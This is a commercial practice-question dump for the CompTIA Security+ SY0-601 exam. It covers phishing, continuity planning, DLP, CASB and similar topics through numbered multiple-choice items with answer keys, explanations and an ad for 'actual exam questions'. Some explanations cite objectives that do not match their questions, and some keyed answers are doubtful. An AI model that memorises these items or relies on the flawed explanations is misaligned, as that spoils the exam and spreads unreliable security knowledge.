References: CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Glossary, p. 767.

NEW QUESTION 216

- (Exam Topic 1)

An employee, receives an email stating he won the lottery. The email includes a link that requests a name, mobile phone number, address, and date of birth be provided to confirm employee's identity before sending him the prize. Which of the following BEST describes this type of email?

- A. Spear phishing
- B. Whaling
- C. Phishing
- D. Vishing

Answer: C

Explanation:

Phishing is a type of social engineering attack that uses fraudulent emails or other forms of communication to trick users into revealing sensitive information, such as passwords, credit card numbers, or personal details. Phishing emails often impersonate legitimate entities, such as banks, online services, or lottery organizations, and entice users to click on malicious links or attachments that lead to fake websites or malware downloads. Phishing emails usually target a large number of users indiscriminately, hoping that some of them will fall for the scam.

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://www.kaspersky.com/resource-center/definitions/what-is-phishing>

NEW QUESTION 218

- (Exam Topic 1)

A bad actor tries to persuade someone to provide financial information over the phone in order to gain access to funds. Which of the following types of attacks does this scenario describe?

- A. Vishing
- B. Phishing
- C. Spear phishing
- D. Whaling

Answer: A

Explanation:

Vishing is a social engineering attack that uses phone calls or voicemail messages to trick people into divulging sensitive information, such as financial information or login credentials.

NEW QUESTION 222

- (Exam Topic 1)

A security administrator wants to implement a program that tests a user's ability to recognize attacks over the organization's email system Which of the following would be BEST suited for this task?

- A. Social media analysis
- B. Annual information security training

- C. Gamification
- D. Phishing campaign

Answer: D

Explanation:

A phishing campaign is a simulated attack that tests a user's ability to recognize attacks over the organization's email system. Phishing campaigns can be used to train users on how to identify and report suspicious emails.

References: CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Chapter 2: Technologies and Tools, pp. 85-86.

NEW QUESTION 225

- (Exam Topic 1)

Which of the following must be in place before implementing a BCP?

- A. SLA
- B. AUP
- C. NDA
- D. BIA

Answer: D

Explanation:

A Business Impact Analysis (BIA) is a critical component of a Business Continuity Plan (BCP). It identifies and prioritizes critical business functions and determines the impact of their disruption. References: CompTIA Security+ Study Guide 601, Chapter 10

NEW QUESTION 226

- (Exam Topic 1)

A company would like to set up a secure way to transfer data between users via their mobile phones. The company's top priority is utilizing technology that requires users to be in as close proximity as possible to each other. Which of the following connection methods would BEST fulfill this need?

- A. Cellular
- B. NFC
- C. Wi-Fi
- D. Bluetooth

Answer: B

Explanation:

NFC allows two devices to communicate with each other when they are in close proximity to each other, typically within 5 centimetres. This makes it the most secure connection method for the company's data transfer requirements.

NEW QUESTION 227

- (Exam Topic 1)

A security engineer needs to build a solution to satisfy regulatory requirements that state certain critical servers must be accessed using MFA. However, the critical servers are older and are unable to support the addition of MFA. Which of the following will the engineer MOST likely use to achieve this objective?

- A. A forward proxy
- B. A stateful firewall
- C. A jump server
- D. A port tap

Answer: C

Explanation:

A jump server is a secure host that allows users to access other servers within a network. The jump server acts as an intermediary, and users can access other servers via the jump server after authenticating with MFA.

NEW QUESTION 229

- (Exam Topic 1)

A client sent several inquiries to a project manager about the delinquent delivery status of some critical reports. The project manager claimed the reports were previously sent via email, but then quickly generated and backdated the reports before submitting them as plain text within the body of a new email message thread. Which of the following actions MOST likely supports an investigation for fraudulent submission?

- A. Establish chain of custody.
- B. Inspect the file metadata.
- C. Reference the data retention policy.
- D. Review the email event logs

Answer: D

Explanation:

Reviewing the email event logs can support an investigation for fraudulent submission, as these logs can provide details about the history of emails, including the message content, timestamps, and sender/receiver information. Reference: CompTIA Security+ Certification Exam Objectives, Exam SY0-601, 3.2 Given a scenario, implement appropriate data security and privacy controls.

NEW QUESTION 230

- (Exam Topic 1)

Which of the following identifies the point in time when an organization will recover data in the event of an outage?

- A. SLA
- B. RPO
- C. MTBF
- D. ARO

Answer: B

Explanation:

Detailed explanation

Recovery Point Objective (RPO) is the maximum duration of time that an organization can tolerate data loss in the event of an outage. It identifies the point in time when data recovery must begin, and any data loss beyond that point is considered unacceptable.

Reference: CompTIA Security+ Certification Guide, Exam SY0-601 by Mike Chapple and David Seidl, Chapter-7: Incident Response and Recovery, Objective 7.2: Compare and contrast business continuity and disaster recovery concepts, pp. 349-350.

NEW QUESTION 234

- (Exam Topic 1)

An organization wants to integrate its incident response processes into a workflow with automated decision points and actions based on predefined playbooks. Which of the following should the organization implement?

- A. SIEM
- B. SOAR
- C. EDR
- D. CASB

Answer: B

Explanation:

Security Orchestration, Automation, and Response (SOAR) should be implemented to integrate incident response processes into a workflow with automated decision points and actions based on predefined playbooks. References: CompTIA Security+ Study Guide, Exam SY0-601, Chapter 9

NEW QUESTION 235

- (Exam Topic 1)

An organization would like to remediate the risk associated with its cloud service provider not meeting its advertised 99.999% availability metrics. Which of the following should the organization consult for the exact requirements for the cloud provider?

- A. SLA
- B. BPA
- C. NDA
- D. MOU

Answer: A

Explanation:

The Service Level Agreement (SLA) is a contract between the cloud service provider and the organization that stipulates the exact requirements for the cloud provider. It outlines the level of service that the provider must deliver, including the minimum uptime percentage, support response times, and the remedies and penalties for failing to meet the agreed-upon service levels.

NEW QUESTION 240

- (Exam Topic 1)

A Chief Information Officer is concerned about employees using company-issued laptops to steal data when accessing network shares. Which of the following should the company implement?

- A. DLP
- B. CASB
- C. HIDS
- D. EDR
- E. UEFI

Answer: A

Explanation:

The company should implement Data Loss Prevention (DLP) to prevent employees from stealing data when accessing network shares. References:

➤ [CompTIA Security+ Study Guide Exam SY0-601, Chapter 8](#)

NEW QUESTION 242

- (Exam Topic 1)

A company is concerned about individuals driving a car into the building to gain access. Which of the following security controls would work BEST to prevent this from happening?

- A. Bollard
- B. Camera
- C. Alarms
- D. Signage
- E. Access control vestibule

Answer: A

Explanation:

A bollard would work best to prevent individuals from driving a car into the building. A bollard is a short, vertical post that can be used to block vehicles from entering a designated area. It is specifically designed to stop cars from crashing into buildings or other structures.

NEW QUESTION 244

- (Exam Topic 1)

The Chief Technology Officer of a local college would like visitors to utilize the school's WiFi but must be able to associate potential malicious activity to a specific person. Which of the following would BEST allow this objective to be met?

- A. Requiring all new, on-site visitors to configure their devices to use WPS
- B. Implementing a new SSID for every event hosted by the college that has visitors
- C. Creating a unique PSK for every visitor when they arrive at the reception area
- D. Deploying a captive portal to capture visitors' MAC addresses and names

Answer: D

Explanation:

A captive portal is a web page that requires visitors to authenticate or agree to an acceptable use policy before allowing access to the network. By capturing visitors' MAC addresses and names, potential malicious activity can be traced back to a specific person.

NEW QUESTION 248

- (Exam Topic 1)

A systems engineer is building a new system for production. Which of the following is the FINAL step to be performed prior to promoting to production?

- A. Disable unneeded services.
- B. Install the latest security patches.
- C. Run a vulnerability scan.
- D. Encrypt all disks.

Answer: C

Explanation:

Running a vulnerability scan is the final step to be performed prior to promoting a system to production. This allows any remaining security issues to be identified and resolved before the system is put into production. References: CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Chapter 3

NEW QUESTION 252

- (Exam Topic 1)

A security researcher has alerted an organization that its sensitive user data was found for sale on a website. Which of the following should the organization use to inform the affected parties?

- A. An incident response plan
- B. A communications plan
- C. A business continuity plan
- D. A disaster recovery plan

Answer: B

Explanation:

The organization should use a communications plan to inform the affected parties. A communications plan is a document that outlines how an organization will communicate with internal and external stakeholders during a crisis or incident. It should include details such as who will be responsible for communicating with different stakeholders, what channels will be used to communicate, and what messages will be communicated.

An incident response plan is a document that outlines the steps an organization will take to respond to a security incident or data breach. A business continuity plan is a document that outlines how an organization will continue to operate during and after a disruption. A disaster recovery plan is a document that outlines how an organization will recover its IT infrastructure and data after a disaster.

NEW QUESTION 254

- (Exam Topic 1)

The Chief Information Security Officer directed a risk reduction in shadow IT and created a policy requiring all unsanctioned high-risk SaaS applications to be blocked from user access. Which of the following is the BEST security solution to reduce this risk?

- A. CASB
- B. VPN concentrator
- C. MFA
- D. VPC endpoint

Answer: A

Explanation:

A Cloud Access Security Broker (CASB) can be used to monitor and control access to cloud-based applications, including unsanctioned SaaS applications. It can help enforce policies that prevent access to high-risk SaaS applications and provide visibility into the use of such applications by employees. References: CompTIA Security+ SY0-601 Exam Objectives: 3.3 Given a scenario, implement secure mobile solutions.

NEW QUESTION 259

- (Exam Topic 1)

An organization is concerned about hackers potentially entering a facility and plugging in a remotely accessible Kali Linux box. Which of the following should be the first lines of defense against such an attack? (Select TWO)

- A. MAC filtering
- B. Zero trust segmentation
- C. Network access control
- D. Access control vestibules
- E. Guards
- F. Bollards

Answer: CE

Explanation:

Network access control (NAC) is a technique that restricts access to a network based on the identity, role, device, location, or other criteria of the users or devices. NAC can prevent unauthorized or malicious devices from connecting to a network and accessing sensitive data or resources. Guards are physical security personnel who monitor and control access to a facility. Guards can prevent unauthorized or malicious individuals from entering a facility and plugging in a remotely accessible device.

NEW QUESTION 260

- (Exam Topic 1)

An enterprise has hired an outside security firm to facilitate penetration testing on its network and applications. The firm has agreed to pay for each vulnerability that is discovered. Which of the following BEST represents the type of testing that is being used?

- A. White-box
- B. Red-team
- C. Bug bounty
- D. Gray-box
- E. Black-box

Answer: C

Explanation:

Bug bounty is a type of testing in which an organization offers a reward or compensation to anyone who can identify vulnerabilities or security flaws in their network or applications. The outside security firm has agreed to pay for each vulnerability found, which is an example of a bug bounty program.

NEW QUESTION 265

- (Exam Topic 1)

Which of the following would MOST likely be identified by a credentialed scan but would be missed by an uncredentialed scan?

- A. Vulnerabilities with a CVSS score greater than 6.9.
- B. Critical infrastructure vulnerabilities on non-IP protocols.
- C. CVEs related to non-Microsoft systems such as printers and switches.
- D. Missing patches for third-party software on Windows workstations and servers.

Answer: D

Explanation:

An uncredentialed scan would miss missing patches for third-party software on Windows workstations and servers. A credentialed scan, however, can scan the registry and file system to determine the patch level of third-party applications. References: CompTIA Security+ Study Guide by Emmett Dulaney, Chapter 4: Identity and Access Management, The Importance of Credentialing Scans

NEW QUESTION 268

- (Exam Topic 1)

one of the attendees starts to notice delays in the connection. and the HTTPS site requests are reverting to HTTP. Which of the following BEST describes what is happening?

- A. Birthday collision on the certificate key
- B. DNS hacking to reroute traffic
- C. Brute force to the access point
- D. A SSL/TLS downgrade

Answer: D

Explanation:

The scenario describes a Man-in-the-Middle (MitM) attack where the attacker intercepts traffic and downgrades the secure SSL/TLS connection to an insecure HTTP connection. This type of attack is commonly known as SSL/TLS downgrade attack or a stripping attack. The attacker is able to see and modify the communication between the client and server.

NEW QUESTION 271

- (Exam Topic 1)

A security administrator has discovered that workstations on the LAN are becoming infected with malware.

The cause of the infections appears to be users receiving phishing emails that are bypassing the current email-filtering technology. As a result, users are being tricked into clicking on malicious URLs, as no internal controls currently exist in the environment to evaluate their safety. Which of the following would be BEST to implement to address the issue?

- A. Forward proxy
- B. HIDS
- C. Awareness training
- D. A jump server
- E. IPS

Answer: C

Explanation:

Awareness training should be implemented to educate users on the risks of clicking on malicious URLs. References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 9

NEW QUESTION 276

- (Exam Topic 1)

A dynamic application vulnerability scan identified code injection could be performed using a web form. Which of the following will be BEST remediation to prevent this vulnerability?

- A. Implement input validations
- B. Deploy MFA
- C. Utilize a WAF
- D. Configure HIPS

Answer: A

Explanation:

Implementing input validations will prevent code injection attacks by verifying the type and format of user input. References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 8

NEW QUESTION 278

- (Exam Topic 1)

Which of the following roles would MOST likely have direct access to the senior management team?

- A. Data custodian
- B. Data owner
- C. Data protection officer
- D. Data controller

Answer: C

Explanation:

A data protection officer (DPO) is a role that oversees the data protection strategy and compliance of an organization. A DPO is responsible for ensuring that the organization follows data protection laws and regulations, such as the General Data Protection Regulation (GDPR), and protects the privacy rights of data subjects. A DPO also acts as a liaison between the organization and data protection authorities, as well as data subjects and other stakeholders. A DPO would most likely have direct access to the senior management team, as they need to report on data protection issues, risks, and incidents, and advise on data protection policies and practices.

The other options are not correct because:

- > A. Data custodian is a role that implements and maintains the technical controls and procedures for data security and integrity. A data custodian does not have direct access to the senior management team, as they are more involved in operational tasks than strategic decisions.
- > B. Data owner is a role that determines the classification and usage of data within an organization. A data owner does not have direct access to the senior management team, as they are more involved in business functions than data protection compliance.
- > D. Data controller is a role that determines the purposes and means of processing personal data within an organization. A data controller does not have direct access to the senior management team, as they are more involved in data processing activities than data protection oversight.

According to CompTIA Security+ SY0-601 Exam Objectives 2.3 Given a scenario, implement secure protocols:

“A data protection officer (DPO) is a role that oversees the data protection strategy and compliance of an organization.”

References: <https://www.comptia.org/certifications/security#examdetails> <https://www.comptia.org/content/guides/comptia-security-sy0-601-exam-objectives>
<https://gdpr-info.eu/issues/data-protection-officer/>

NEW QUESTION 282

- (Exam Topic 1)

Per company security policy, IT staff members are required to have separate credentials to perform administrative functions using just-in-time permissions. Which of the following solutions is the company implementing?

- A. Privileged access management
- B. SSO
- C. RADIUS
- D. Attribute-based access control

Answer: A

Explanation:

The company is implementing privileged access management, which provides just-in-time permissions for administrative functions.

NEW QUESTION 283

- (Exam Topic 1)

A company's public-facing website, <https://www.organization.com>, has an IP address of 166.18.75.6. However, over the past hour the SOC has received reports of the site's homepage displaying incorrect information. A quick nslookup search shows <https://www.organization.com> is pointing to 151.191.122.115. Which of the following is occurring?

- A. DoS attack
- B. ARP poisoning
- C. DNS spoofing
- D. NXDOMAIN attack

Answer: C

Explanation:

The issue is DNS spoofing, where the DNS resolution has been compromised and is pointing to a malicious IP address. References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 7

NEW QUESTION 284

- (Exam Topic 1)

A large enterprise has moved all its data to the cloud behind strong authentication and encryption. A sales director recently had a laptop stolen, and later, enterprise data was found to have been compromised from a local database. Which of the following was the MOST likely cause?

- A. Shadow IT
- B. Credential stuffing
- C. SQL injection
- D. Man in the browser
- E. Bluejacking

Answer: A

Explanation:

The most likely cause of the enterprise data being compromised from a local database is Shadow IT. Shadow IT is the use of unauthorized applications or devices by employees to access company resources. In this case, the sales director's laptop was stolen, and the attacker was able to use it to access the local database, which was not secured properly, allowing unauthorized access to sensitive data. References:

➤ [CompTIA Security+ Certification Exam Objectives - Exam SY0-601](#)

NEW QUESTION 286

- (Exam Topic 1)

The technology department at a large global company is expanding its Wi-Fi network infrastructure at the headquarters building. Which of the following should be closely coordinated between the technology, cybersecurity, and physical security departments?

- A. Authentication protocol
- B. Encryption type
- C. WAP placement
- D. VPN configuration

Answer: C

Explanation:

WAP stands for wireless access point, which is a device that allows wireless devices to connect to a wired network using Wi-Fi or Bluetooth. WAP placement refers to where and how WAPs are installed in a building or area.

WAP placement should be closely coordinated between the technology, cybersecurity, and physical security departments because it affects several aspects of network performance and security, such as:

- Coverage: WAP placement determines how well wireless devices can access the network throughout the building or area. WAPs should be placed in locations that provide optimal signal strength and avoid interference from other sources.
- Capacity: WAP placement determines how many wireless devices can connect to the network simultaneously without affecting network speed or quality. WAPs should be placed in locations that balance network load and avoid congestion or bottlenecks.
- Security: WAP placement determines how vulnerable wireless devices are to eavesdropping or hacking attacks from outside or inside sources. WAPs should be placed in locations that minimize exposure to unauthorized access and maximize encryption and authentication methods.

NEW QUESTION 291

- (Exam Topic 1)

A security manager needs to assess the security posture of one of the organization's vendors. The contract with the vendor does not allow for auditing of the vendor's security controls. Which of the following should the manager request to complete the assessment?

- A. A service-level agreement
- B. A business partnership agreement
- C. A SOC 2 Type 2 report
- D. A memorandum of understanding

Answer: C

Explanation:

SOC 2 (Service Organization Control 2) is a type of audit report that evaluates the controls of service providers to verify their compliance with industry standards for security, availability, processing integrity, confidentiality, and privacy. A Type 2 report is based on an audit that tests the effectiveness of the controls over a period of time, unlike a Type 1 report which only evaluates the design of the controls at a specific point in time.

A SOC 2 Type 2 report would provide evidence of the vendor's security controls and how effective they are over time, which can help the security manager assess the vendor's security posture despite the vendor not allowing for a direct audit.

The security manager should request a SOC 2 Type 2 report to assess the security posture of the vendor. References: CompTIA Security+ Study Guide: Exam SY0-601, Chapter 5

NEW QUESTION 294

- (Exam Topic 1)

Which of the technologies is used to actively monitor for specific file types being transmitted on the network?

- A. File integrity monitoring
- B. Honeynets
- C. Tcpreplay
- D. Data loss prevention

Answer: D

Explanation:

Data loss prevention (DLP) is a technology used to actively monitor for specific file types being transmitted on the network. DLP solutions can prevent the unauthorized transfer of sensitive information, such as credit card numbers and social security numbers, by monitoring data in motion. References: CompTIA Security+ Study Guide, Exam SY0-601, 4th Edition, Chapter 2: Technologies and Tools, pp. 99-102.

NEW QUESTION 296

- (Exam Topic 1)

An organization is moving away from the use of client-side and server-side certificates for EAP. The company would like for the new EAP solution to have the ability to detect rogue access points. Which of the following would accomplish these requirements?

- A. PEAP
- B. EAP-FAST
- C. EAP-TLS
- D. EAP-TTLS

Answer: B

Explanation:

EAP-FAST (Extensible Authentication Protocol-Flexible Authentication via Secure Tunneling) supports mutual authentication and is designed to simplify the deployment of strong, password-based authentication. EAP-FAST includes a mechanism for detecting rogue access points. References:

➤ [CompTIA Security+ Study Guide Exam SY0-601, Chapter 4](#)

NEW QUESTION 301

- (Exam Topic 1)

A security analyst notices several attacks are being blocked by the NIPS but does not see anything on the boundary firewall logs. The attack seems to have been thwarted. Which of the following resiliency techniques was applied to the network to prevent this attack?

- A. NIC Teaming
- B. Port mirroring
- C. Defense in depth
- D. High availability
- E. Geographic dispersal

Answer: C

Explanation:

Defense in depth is a resiliency technique that involves implementing multiple layers of security controls to protect against different types of threats. In this scenario, the NIPS likely provided protection at a different layer than the boundary firewall, demonstrating the effectiveness of defense in depth. References: CompTIA Security+ Certification Exam Objectives (SY0-601)

NEW QUESTION 304

- (Exam Topic 1)

An organization's Chief Information Security Officer is creating a position that will be responsible for implementing technical controls to protect data, including ensuring backups are properly maintained. Which of the following roles would MOST likely include these responsibilities?

- A. Data protection officer
- B. Data owner
- C. Backup administrator
- D. Data custodian
- E. Internal auditor

Answer: D

Explanation:

The responsibilities of ensuring backups are properly maintained and implementing technical controls to protect data are the responsibilities of the data custodian role. References: CompTIA Security+ Study Guide by Emmett Dulaney, Chapter 7: Securing Hosts and Data, Data Custodian

NEW QUESTION 309

- (Exam Topic 3)

A security analyst needs to implement security features across smartphones, laptops, and tablets. Which of the following would be the most effective across heterogeneous platforms?

- A. Enforcing encryption
- B. Deploying GPOs
- C. Removing administrative permissions
- D. Applying MDM software

Answer: D

Explanation:

MDM stands for Mobile Device Management, which is a software solution that can manage and secure smartphones, laptops, tablets and other mobile devices across heterogeneous platforms. MDM can enforce security features such as encryption, password policies, remote wipe, device tracking, app control and more. MDM can also monitor and update the devices remotely and provide reports and alerts on their status. MDM is the most effective solution to implement security features across heterogeneous platforms, as it can provide centralized and consistent management of various types of devices. Verified References:

➤ [Security+ \(Plus\) Certification | CompTIA IT Certifications](#) <https://www.comptia.org/certifications/security> (See Domain 3: Architecture and Design, Objective 3.4: Given a scenario, implement secure systems design.)

- > CompTIA Security+ 601 - Infosec
<https://www.infosecinstitute.com/wp-content/uploads/2021/03/CompTIA-Security-eBook.pdf> (See Security+: 5 in-demand cybersecurity skills, Implementation)
- > Certification Security+ | CompTIA <https://www.comptia.org/landing/securityplus/index.html> (See Exam Objectives)

NEW QUESTION 312

- (Exam Topic 3)

Which of the following would be used to find the most common web-application vulnerabilities?

- A. OWASP
- B. MITRE ATT&CK
- C. Cyber Kill Chain
- D. SDLC

Answer: A

Explanation:

OWASP (Open Web Application Security Project) is a non-profit organization that provides resources and guidance for improving the security of web applications. It publishes a list of the most common web application vulnerabilities, such as injection, broken authentication, cross-site scripting, etc., and provides recommendations and best practices for preventing and mitigating them

NEW QUESTION 316

- (Exam Topic 3)

A security analyst is taking part in an evaluation process that analyzes and categorizes threat actors Of real-world events in order to improve the incident response team's process. Which Of the following is the analyst most likely participating in?

- A. MITRE ATT&CK
- B. Walk-through
- C. Red team
- D. Purple team-I
- E. TAXI

Answer: A

Explanation:

MITRE ATT&CK is a knowledge base and framework that analyzes and categorizes threat actors and real-world events based on their tactics, techniques and procedures. It can help improve the incident response team's process by providing a common language and reference for identifying, understanding and mitigating threats

NEW QUESTION 318

- (Exam Topic 3)

After multiple on-premises security solutions were migrated to the cloud, the incident response time increased The analysts are spending a long time trying to trace information on different cloud consoles and correlating data in different formats. Which of the following can be used to optimize the incident response time?

- A. CASB
- B. VPC
- C. SWG
- D. CMS

Answer: D

Explanation:

CMS (Cloud Management System) is a software or platform that allows an organization to manage and monitor multiple cloud services and resources from a single interface or console. It can optimize the incident response time by providing a centralized view and control of the cloud infrastructure and applications, and enabling faster detection, analysis, and remediation of security incidents across different cloud environments.

NEW QUESTION 322

.....

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

SY0-601 Practice Exam Features:

- * SY0-601 Questions and Answers Updated Frequently
- * SY0-601 Practice Questions Verified by Expert Senior Certified Staff
- * SY0-601 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- * SY0-601 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

100% Actual & Verified — Instant Download, Please Click
[Order The SY0-601 Practice Test Here](#)